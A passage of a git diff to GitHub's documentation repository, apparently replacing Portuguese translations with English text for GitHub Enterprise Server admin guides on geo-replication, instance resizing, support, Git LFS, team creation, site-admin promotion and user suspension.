same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter. - No primário: + On the primary: ```shell (primary)$ ghe-repl-node --datacenter [PRIMARY DC NAME] ``` - Na primeira réplica: + On the first replica: ```shell (replica1)$ ghe-repl-node --datacenter [FIRST REPLICA DC NAME] ``` - Na segunda réplica: + On the second replica: ```shell (replica2)$ ghe-repl-node --datacenter [SECOND REPLICA DC NAME] ``` {% tip %} - **Dica:** você pode definir as opções `--datacenter` e `--active` simultaneamente. + **Tip:** You can set the `--datacenter` and `--active` options at the same time. {% endtip %} -4. Um nó de réplica ativo armazenará cópias dos dados do appliance e solicitações do usuário final do serviço. Um nó inativo armazenará cópias dos dados do appliance, mas não as solicitações do usuário final do serviço. Habilite o modo ativo usando o sinalizador `--active` ou use o sinalizador `--inactive` para o modo inativo. +4. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag. - Na primeira réplica: + On the first replica: ```shell (replica1)$ ghe-repl-node --active ``` - Na segunda réplica: + On the second replica: ```shell (replica2)$ ghe-repl-node --active ``` -5. Para aplicar a configuração, use o comando `ghe-config-apply` no primário. +5. To apply the configuration, use the `ghe-config-apply` command on the primary. ```shell (primary)$ ghe-config-apply ``` -## Configurar DNS de localização geográfica +## Configuring DNS for geo-replication -Configure o Geo DNS usando os endereços IP dos nós primário e das réplicas. Você também pode criar um DNS CNAME para o nó primário (por exemplo, `primary.github.example.com`) para acessar o nó primário via SSH ou fazer backup usando `backup-utils`. +Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`. -Para fins de teste, é possível adicionar entradas ao arquivo `hosts` da estação de trabalho local (por exemplo, `/etc/hosts`). Essas entradas de exemplo resolverão as solicitações de `HOSTNAME` para `replica2`. É possível segmentar hosts específicos comentando linhas diferentes. +For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines. ``` # HOSTNAME @@ -95,8 +95,8 @@ Para fins de teste, é possível adicionar entradas ao arquivo `hosts` da estaç HOSTNAME ``` -## Leia mais +## Further reading -- [Sobre a configuração de alta disponibilidade](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration) -- [Utilitários para gerenciamento de replicações](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management) -- [Sobre a replicação geográfica](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/) +- "[About high availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)" +- "[Utilities for replication management](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" +- "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)" diff --git a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md new file mode 100644 index 0000000000..c6425f3a22 --- /dev/null +++ b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md @@ -0,0 +1,75 @@ +--- +title: Increasing CPU or memory resources +intro: 'You can increase the CPU or memory resources for a {% data variables.product.prodname_ghe_server %} instance.' +redirect_from: + - /enterprise/admin/installation/increasing-cpu-or-memory-resources + - /enterprise/admin/enterprise-management/increasing-cpu-or-memory-resources + - /admin/enterprise-management/increasing-cpu-or-memory-resources +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Infrastructure + - Performance +shortTitle: Increase CPU or memory +--- +{% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} + +## Adding CPU or memory resources for AWS + +{% note %} + +**Note:** To add CPU or memory resources for AWS, you must be familiar with using either the AWS management console or the `aws ec2` command line interface to manage EC2 instances. For background and details on using the AWS tools of your choice to perform the resize, see the AWS documentation on [resizing an Amazon EBS-backed instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html). + +{% endnote %} + +### Resizing considerations + +Before increasing CPU or memory resources for {% data variables.product.product_location %}, review the following recommendations. + +- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} +- **Assign an Elastic IP address to the instance**. If you haven't assigned an Elastic IP to your instance, you'll have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in public IP address. Once your instance restarts, the instance keeps the Elastic IP if you launched the instance in a virtual private cloud (VPC). If you create the instance in an EC2-Classic network, you must manually reassign the Elastic IP to the instance. + +### Supported AWS instance types + +You need to determine the instance type you would like to upgrade to based on CPU/memory specifications. + +{% data reusables.enterprise_installation.warning-on-scaling %} + +{% data reusables.enterprise_installation.aws-instance-recommendation %} + +### Resizing for AWS + +{% note %} + +**Note:** For instances launched in EC2-Classic, write down both the Elastic IP address associated with the instance and the instance's ID. Once you restart the instance, re-associate the Elastic IP address. + +{% endnote %} + +It's not possible to add CPU or memory resources to an existing AWS/EC2 instance. Instead, you must: + +1. Stop the instance. +2. Change the instance type. +3. Start the instance. +{% data reusables.enterprise_installation.configuration-recognized %} + +## Adding CPU or memory resources for OpenStack KVM + +It's not possible to add CPU or memory resources to an existing OpenStack KVM instance. Instead, you must: + +1. Take a snapshot of the current instance. +2. Stop the instance. +3. Select a new instance flavor that has the desired CPU and/or memory resources. + +## Adding CPU or memory resources for VMware + +{% data reusables.enterprise_installation.increasing-cpus-req %} + +1. Use the vSphere Client to connect to the VMware ESXi host. +2. Shut down {% data variables.product.product_location %}. +3. Select the virtual machine and click **Edit Settings**. +4. Under "Hardware", adjust the CPU and/or memory resources allocated to the virtual machine as needed: +![VMware setup resources](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) +5. To start the virtual machine, click **OK**. +{% data reusables.enterprise_installation.configuration-recognized %} diff --git a/translations/pt-BR/content/admin/enterprise-support/overview/about-github-enterprise-support.md b/translations/pt-BR/content/admin/enterprise-support/overview/about-github-enterprise-support.md new file mode 100644 index 0000000000..c13b7e3a23 --- /dev/null +++ b/translations/pt-BR/content/admin/enterprise-support/overview/about-github-enterprise-support.md @@ -0,0 +1,110 @@ +--- +title: About GitHub Enterprise Support +intro: '{% data variables.contact.github_support %} can help you troubleshoot issues that arise on {% data variables.product.product_name %}.' +redirect_from: + - /enterprise/admin/enterprise-support/about-github-enterprise-support + - /admin/enterprise-support/about-github-enterprise-support +versions: + ghes: '*' + ghae: '*' +type: overview +topics: + - Enterprise + - Support +shortTitle: GitHub Enterprise Support +--- +{% note %} + +**Note**: {% data reusables.support.data-protection-and-privacy %} + +{% endnote %} + +## About {% data variables.contact.enterprise_support %} + +{% data variables.product.product_name %} includes {% data variables.contact.enterprise_support %} in English{% ifversion ghes %} and Japanese{% endif %}. + +{% ifversion ghes %} +You can contact {% data variables.contact.enterprise_support %} through {% data variables.contact.contact_enterprise_portal %} for help with: + - Installing and using {% data variables.product.product_name %} + - Identifying and verifying the causes of suspected errors + +In addition to all of the benefits of {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} support for {% data variables.product.product_name %} offers: + - Written support through our support portal 24 hours per day, 7 days per week + - Phone support 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Customer Reliability Engineers + - Access to premium content + - Scheduled health checks + - Managed Admin hours +{% endif %} + +{% ifversion ghes %} +For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)." +{% endif %} + +{% data reusables.support.scope-of-support %} + +## Contacting {% data variables.contact.enterprise_support %} + +{% ifversion ghes %} +{% data reusables.support.zendesk-old-tickets %} +{% endif %} + + +You can contact {% data variables.contact.enterprise_support %} through {% ifversion ghes %}{% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} the {% data variables.contact.ae_azure_portal %}{% endif %} to report issues in writing. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." + +{% ifversion ghes %} +## Hours of operation + +### Support in English + +For standard non-urgent issues, we offer support in English 24 hours per day, 5 days per week, excluding weekends and national U.S. holidays. The standard response time is 24 hours. + +For urgent issues, we are available 24 hours per day, 7 days per week, even during national U.S. holidays. + +### Support in Japanese + +For non-urgent issues, support in Japanese is available Monday through Friday from 9:00 AM to 5:00 PM JST, excluding national holidays in Japan. For urgent issues, we offer support in English 24 hours per day, 7 days per week, even during national U.S. holidays. + +For a complete list of U.S. and Japanese national holidays observed by {% data variables.contact.enterprise_support %}, see "[Holiday schedules](#holiday-schedules)." + +## Holiday schedules + +For urgent issues, we can help you in English 24 hours per day, 7 days per week, including on U.S. and Japanese holidays. + +### Holidays in the United States + +{% data variables.contact.enterprise_support %} observes these U.S. holidays, although our global support team is available to answer urgent tickets. + +{% data reusables.enterprise_enterprise_support.support-holiday-availability %} + +### Holidays in Japan + +{% data variables.contact.enterprise_support %} does not provide Japanese-language support on December 28th through January 3rd as well as on the holidays listed in [国民の祝日について - 内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html). + +{% data reusables.enterprise_enterprise_support.installing-releases %} +{% endif %} + +## Assigning a priority to a support ticket + +When you contact {% data variables.contact.enterprise_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. + +{% data reusables.support.github-can-modify-ticket-priority %} + +{% ifversion ghes %} +{% data reusables.support.ghes-priorities %} +{% elsif ghae %} +{% data reusables.support.ghae-priorities %} +{% endif %} + +## Resolving and closing support tickets + +{% data reusables.support.enterprise-resolving-and-closing-tickets %} + +## Further reading + +{% ifversion ghes %} +- Section 10 on Support in the "[{% data variables.product.prodname_ghe_server %} License Agreement](https://enterprise.github.com/license)"{% endif %} +- "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)"{% ifversion ghes %} +- "[Preparing to submit a ticket](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)"{% endif %} +- "[Submitting a ticket](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)" diff --git a/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md b/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md index 9e5097278e..5ebd02f920 100644 --- a/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md +++ b/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md @@ -37,7 +37,7 @@ Both types of {% data variables.product.prodname_dependabot %} update have the f - Configure {% data variables.product.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." - Set up one or more {% data variables.product.prodname_actions %} self-hosted runners for {% data variables.product.prodname_dependabot %}. For more information, see "[Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates](#setting-up-self-hosted-runners-for-dependabot-updates)" below. -Additionally, {% data variables.product.prodname_dependabot_security_updates %} rely on the dependency graph, vulnerability data from {% data variables.product.prodname_github_connect %}, and {% data variables.product.prodname_dependabot_alerts %}. These features must be enabled on {% data variables.product.product_location %}. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot %} alerts on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." +Additionally, {% data variables.product.prodname_dependabot_security_updates %} rely on the dependency graph, vulnerability data from {% data variables.product.prodname_github_connect %}, and {% data variables.product.prodname_dependabot_alerts %}. These features must be enabled on {% data variables.product.product_location %}. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." ## Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates diff --git a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md index 6c2bd6b7ce..99179a580a 100644 --- a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md +++ b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md @@ -69,8 +69,7 @@ You can choose to disable {% data variables.product.prodname_actions %} for all {% data reusables.actions.about-artifact-log-retention %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.business %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.github-actions.change-retention-period-for-artifacts-logs %} diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md new file mode 100644 index 0000000000..52334965f2 --- /dev/null +++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md @@ -0,0 +1,62 @@ +--- +title: Creating teams +intro: 'Teams give organizations the ability to create groups of members and control access to repositories. Team members can be granted read, write, or admin permissions to specific repositories.' +redirect_from: + - /enterprise/admin/user-management/creating-teams + - /admin/user-management/creating-teams +versions: + ghes: '*' +type: how_to +topics: + - Access management + - Enterprise + - Teams + - User account +--- +Teams are central to many of {% data variables.product.prodname_dotcom %}'s collaborative features, such as team @mentions to notify appropriate parties that you'd like to request their input or attention. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." + +A team can represent a group within your company or include people with certain interests or expertise. For example, a team of accessibility experts on {% data variables.product.product_location %} could comprise of people from several different departments. Teams can represent functional concerns that complement a company's existing divisional hierarchy. + +Organizations can create multiple levels of nested teams to reflect a company or group's hierarchy structure. For more information, see "[About teams](/enterprise/{{ currentVersion }}/user/articles/about-teams/#nested-teams)." + +## Creating a team + +A prudent combination of teams is a powerful way to control repository access. For example, if your organization allows only your release engineering team to push code to the default branch of any repository, you could give only the release engineering team **admin** permissions to your organization's repositories and give all other teams **read** permissions. + +{% data reusables.profile.access_org %} +{% data reusables.user_settings.access_org %} +{% data reusables.organizations.new_team %} +{% data reusables.organizations.team_name %} +{% data reusables.organizations.team_description %} +{% data reusables.organizations.team_visibility %} +{% data reusables.organizations.create-team-choose-parent %} +{% data reusables.organizations.create_team %} + +## Creating teams with LDAP Sync enabled + +Instances using LDAP for user authentication can use LDAP Sync to manage a team's members. Setting the group's **Distinguished Name** (DN) in the **LDAP group** field will map a team to an LDAP group on your LDAP server. If you use LDAP Sync to manage a team's members, you won't be able to manage your team within {% data variables.product.product_location %}. The mapped team will sync its members in the background and periodically at the interval configured when LDAP Sync is enabled. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." + +You must be a site admin and an organization owner to create a team with LDAP sync enabled. + +{% data reusables.enterprise_user_management.ldap-sync-nested-teams %} + +{% warning %} + +**Notes:** +- LDAP Sync only manages the team's member list. You must manage the team's repositories and permissions from within {% data variables.product.prodname_ghe_server %}. +- If an LDAP group mapping to a DN is removed, such as if the LDAP group is deleted, then every member is removed from the synced {% data variables.product.prodname_ghe_server %} team. To fix this, map the team to a new DN, add the team members back, and [manually sync the mapping](/enterprise/admin/authentication/using-ldap#manually-syncing-ldap-accounts). +- When LDAP Sync is enabled, if a person is removed from a repository, they will lose access but their forks will not be deleted. If the person is added to a team with access to the original organization repository within three months, their access to the forks will be automatically restored on the next sync. + +{% endwarning %} + +1. Ensure that [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync). +{% data reusables.profile.access_org %} +{% data reusables.user_settings.access_org %} +{% data reusables.organizations.new_team %} +{% data reusables.organizations.team_name %} +6. Search for an LDAP group's DN to map the team to. If you don't know the DN, type the LDAP group's name. {% data variables.product.prodname_ghe_server %} will search for and autocomplete any matches. +![Mapping to the LDAP group DN](/assets/images/enterprise/orgs-and-teams/ldap-group-mapping.png) +{% data reusables.organizations.team_description %} +{% data reusables.organizations.team_visibility %} +{% data reusables.organizations.create-team-choose-parent %} +{% data reusables.organizations.create_team %} diff --git a/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md new file mode 100644 index 0000000000..ff100011d4 --- /dev/null +++ b/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md @@ -0,0 +1,145 @@ +--- +title: Configuring Git Large File Storage for your enterprise +intro: '{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %}' +redirect_from: + - /enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise/ + - /enterprise/admin/installation/configuring-git-large-file-storage-on-github-enterprise-server + - /enterprise/admin/installation/configuring-git-large-file-storage + - /enterprise/admin/installation/configuring-git-large-file-storage-to-use-a-third-party-server + - /enterprise/admin/installation/migrating-to-a-different-git-large-file-storage-server + - /enterprise/admin/articles/configuring-git-large-file-storage-for-a-repository/ + - /enterprise/admin/articles/configuring-git-large-file-storage-for-every-repository-owned-by-a-user-account-or-organization/ + - /enterprise/admin/articles/configuring-git-large-file-storage-for-your-appliance/ + - /enterprise/admin/guides/installation/migrating-to-different-large-file-storage-server/ + - /enterprise/admin/user-management/configuring-git-large-file-storage-for-your-enterprise + - /admin/user-management/configuring-git-large-file-storage-for-your-enterprise +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Git + - Enterprise + - LFS + - Storage +shortTitle: Configure Git LFS +--- +## About {% data variables.large_files.product_name_long %} + +{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} You can use {% data variables.large_files.product_name_long %} with a single repository, all of your personal or organization repositories, or with every repository in your enterprise. Before you can enable {% data variables.large_files.product_name_short %} for specific repositories or organizations, you need to enable {% data variables.large_files.product_name_short %} for your enterprise. + +{% data reusables.large_files.storage_assets_location %} +{% data reusables.large_files.rejected_pushes %} + +For more information, see "[About {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)", "[Versioning large files](/enterprise/user/articles/versioning-large-files/)," and the [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/). + +{% data reusables.large_files.can-include-lfs-objects-archives %} + +## Configuring {% data variables.large_files.product_name_long %} for your enterprise + +{% data reusables.enterprise-accounts.access-enterprise %} +{% ifversion ghes or ghae %} +{% data reusables.enterprise-accounts.policies-tab %} +{% else %} +{% data reusables.enterprise-accounts.settings-tab %} +{% endif %} +{% data reusables.enterprise-accounts.options-tab %} +4. Under "{% data variables.large_files.product_name_short %} access", use the drop-down menu, and click **Enabled** or **Disabled**. +![Git LFS Access](/assets/images/enterprise/site-admin-settings/git-lfs-admin-center.png) + +## Configuring {% data variables.large_files.product_name_long %} for an individual repository + +{% data reusables.enterprise_site_admin_settings.override-policy %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.repository-search %} +{% data reusables.enterprise_site_admin_settings.click-repo %} +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} + +## Configuring {% data variables.large_files.product_name_long %} for every repository owned by a user account or organization + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.search-user-or-org %} +{% data reusables.enterprise_site_admin_settings.click-user-or-org %} +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} + +{% ifversion ghes %} +## Configuring Git Large File Storage to use a third party server + +{% data reusables.large_files.storage_assets_location %} +{% data reusables.large_files.rejected_pushes %} + +1. Disable {% data variables.large_files.product_name_short %} on {% data variables.product.product_location %}. For more information, see "[Configuring {% data variables.large_files.product_name_long %} for your enterprise](#configuring-git-large-file-storage-for-your-enterprise)." + +2. Create a {% data variables.large_files.product_name_short %} configuration file that points to the third party server. + ```shell + # Show default configuration + $ git lfs env + > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) + > git version 2.7.4 (Apple Git-66) +   + > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic) +   + # Create .lfsconfig that points to third party server. + $ git config -f .lfsconfig remote.origin.lfsurl https://THIRD-PARTY-LFS-SERVER/path/to/repo + $ git lfs env + > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) + > git version 2.7.4 (Apple Git-66) +   + > Endpoint=https://THIRD-PARTY-LFS-SERVER/path/to/repo/info/lfs (auth=none) +   + # Show the contents of .lfsconfig + $ cat .lfsconfig + [remote "origin"] + lfsurl = https://THIRD-PARTY-LFS-SERVER/path/to/repo + ``` + +3. To keep the same {% data variables.large_files.product_name_short %} configuration for each user, commit a custom `.lfsconfig` file to the repository. + ```shell + $ git add .lfsconfig + $ git commit -m "Adding LFS config file" + ``` +3. Migrate any existing {% data variables.large_files.product_name_short %} assets. For more information, see "[Migrating to a different {% data variables.large_files.product_name_long %} server](#migrating-to-a-different-git-large-file-storage-server)." + +## Migrating to a different Git Large File Storage server + +Before migrating to a different {% data variables.large_files.product_name_long %} server, you must configure {% data variables.large_files.product_name_short %} to use a third party server. For more information, see "[Configuring {% data variables.large_files.product_name_long %} to use a third party server](#configuring-git-large-file-storage-to-use-a-third-party-server)." + +1. Configure the repository with a second remote. + ```shell + $ git remote add NEW-REMOTE https://NEW-REMOTE-HOSTNAME/path/to/repo +   + $ git lfs env + > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) + > git version 2.7.4 (Apple Git-66) +   + > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic) + > Endpoint (NEW-REMOTE)=https://NEW-REMOTE-HOSTNAME/path/to/repo/info/lfs (auth=none) + ``` + +2. Fetch all objects from the old remote. + ```shell + $ git lfs fetch origin --all + > Scanning for all objects ever referenced... + > ✔ 16 objects found + > Fetching objects... + > Git LFS: (16 of 16 files) 48.71 MB / 48.85 MB + ``` + +3. Push all objects to the new remote. + ```shell + $ git lfs push NEW-REMOTE --all + > Scanning for all objects ever referenced... + > ✔ 16 objects found + > Pushing objects... + > Git LFS: (16 of 16 files) 48.00 MB / 48.85 MB, 879.10 KB skipped + ``` +{% endif %} + +## Further reading + +- [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/) diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md new file mode 100644 index 0000000000..780a4f4191 --- /dev/null +++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md @@ -0,0 +1,62 @@ +--- +title: Promoting or demoting a site administrator +redirect_from: + - /enterprise/admin/articles/promoting-a-site-administrator/ + - /enterprise/admin/articles/demoting-a-site-administrator/ + - /enterprise/admin/user-management/promoting-or-demoting-a-site-administrator + - /admin/user-management/promoting-or-demoting-a-site-administrator +intro: 'Site administrators can promote any normal user account to a site administrator, as well as demote other site administrators to regular users.' +versions: + ghes: '*' +type: how_to +topics: + - Access management + - Accounts + - User account + - Enterprise +shortTitle: Manage administrators +--- +{% tip %} + +**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) and the `Administrators group` attribute is set when [configuring LDAP access for users](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance), those users will automatically have site administrator access to your instance. In this case, you can't manually promote users with the steps below; you must add them to the LDAP administrators group. + +{% endtip %} + +For information about promoting a user to an organization owner, see the `ghe-org-admin-promote` section of "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-org-admin-promote)." + +## Promoting a user from the enterprise settings + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %} +{% data reusables.enterprise-accounts.administrators-tab %} +5. In the upper-right corner of the page, click **Add owner**. + ![Button to add an admin](/assets/images/help/business-accounts/business-account-add-admin-button.png) +6. In the search field, type the name of the user and click **Add**. + ![Search field to add an admin](/assets/images/help/business-accounts/business-account-search-to-add-admin.png) + +## Demoting a site administrator from the enterprise settings + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.people-tab %} +{% data reusables.enterprise-accounts.administrators-tab %} +1. In the upper-left corner of the page, in the "Find an administrator" search field, type the username of the person you want to demote. + ![Search field to find an administrator](/assets/images/help/business-accounts/business-account-search-for-admin.png) + +1. In the search results, find the username of the person you want to demote, then use the {% octicon "gear" %} drop-down menu, and select **Remove owner**. + ![Remove from enterprise option](/assets/images/help/business-accounts/demote-admin-button.png) + +## Promoting a user from the command line + +1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) into your appliance. +2. Run [ghe-user-promote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-promote) with the username to promote. + ```shell + $ ghe-user-promote username + ``` + +## Demoting a site administrator from the command line + +1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) into your appliance. +2. Run [ghe-user-demote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-demote) with the username to demote. + ```shell + $ ghe-user-demote username + ``` diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md new file mode 100644 index 0000000000..08148b0c9f --- /dev/null +++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md @@ -0,0 +1,103 @@ +--- +title: Suspending and unsuspending users +redirect_from: + - /enterprise/admin/articles/suspending-a-user/ + - /enterprise/admin/articles/unsuspending-a-user/ + - /enterprise/admin/articles/viewing-suspended-users/ + - /enterprise/admin/articles/suspended-users/ + - /enterprise/admin/articles/suspending-and-unsuspending-users/ + - /enterprise/admin/user-management/suspending-and-unsuspending-users + - /admin/user-management/suspending-and-unsuspending-users +intro: 'If a user leaves or moves to a different part of the company, you should remove or modify their ability to access {% data variables.product.product_location %}.' +versions: + ghes: '*' +type: how_to +topics: + - Access management + - Enterprise + - Security + - User account +shortTitle: Manage user suspension +--- +If employees leave the company, you can suspend their {% data variables.product.prodname_ghe_server %} accounts to open up user licenses in your {% data variables.product.prodname_enterprise %} license while preserving the issues, comments, repositories, gists, and other data they created. Suspended users cannot sign into your instance, nor can they push or pull code. + +When you suspend a user, the change takes effect immediately with no notification to the user. If the user attempts to pull or push to a repository, they'll receive this error: + +```shell +$ git clone git@[hostname]:john-doe/test-repo.git +Cloning into 'test-repo'... +ERROR: Your account is suspended. Please check with your installation administrator. +fatal: The remote end hung up unexpectedly +``` + +Before suspending site administrators, you must demote them to regular users. For more information, see "[Promoting or demoting a site administrator](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)." + +{% tip %} + +**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) for {% data variables.product.product_location %}, users are automatically suspended when they're removed from the LDAP directory server. When LDAP Sync is enabled for your instance, normal user suspension methods are disabled. + +{% endtip %} + +## Suspending a user from the user admin dashboard + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.search-user %} +{% data reusables.enterprise_site_admin_settings.click-user %} +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +5. Under "Account suspension," in the red Danger Zone box, click **Suspend**. +![Suspend button](/assets/images/enterprise/site-admin-settings/suspend.png) +6. Provide a reason to suspend the user. +![Suspend reason](/assets/images/enterprise/site-admin-settings/suspend-reason.png) + +## Unsuspending a user from the user admin dashboard + +As when suspending a user, unsuspending a user takes effect immediately. The user will not be notified. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +3. In the left sidebar, click **Suspended users**. +![Suspended users tab](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) +2. Click the name of the user account that you would like to unsuspend. +![Suspended user](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +4. Under "Account suspension," in the red Danger Zone box, click **Unsuspend**. +![Unsuspend button](/assets/images/enterprise/site-admin-settings/unsuspend.png) +5. Provide a reason to 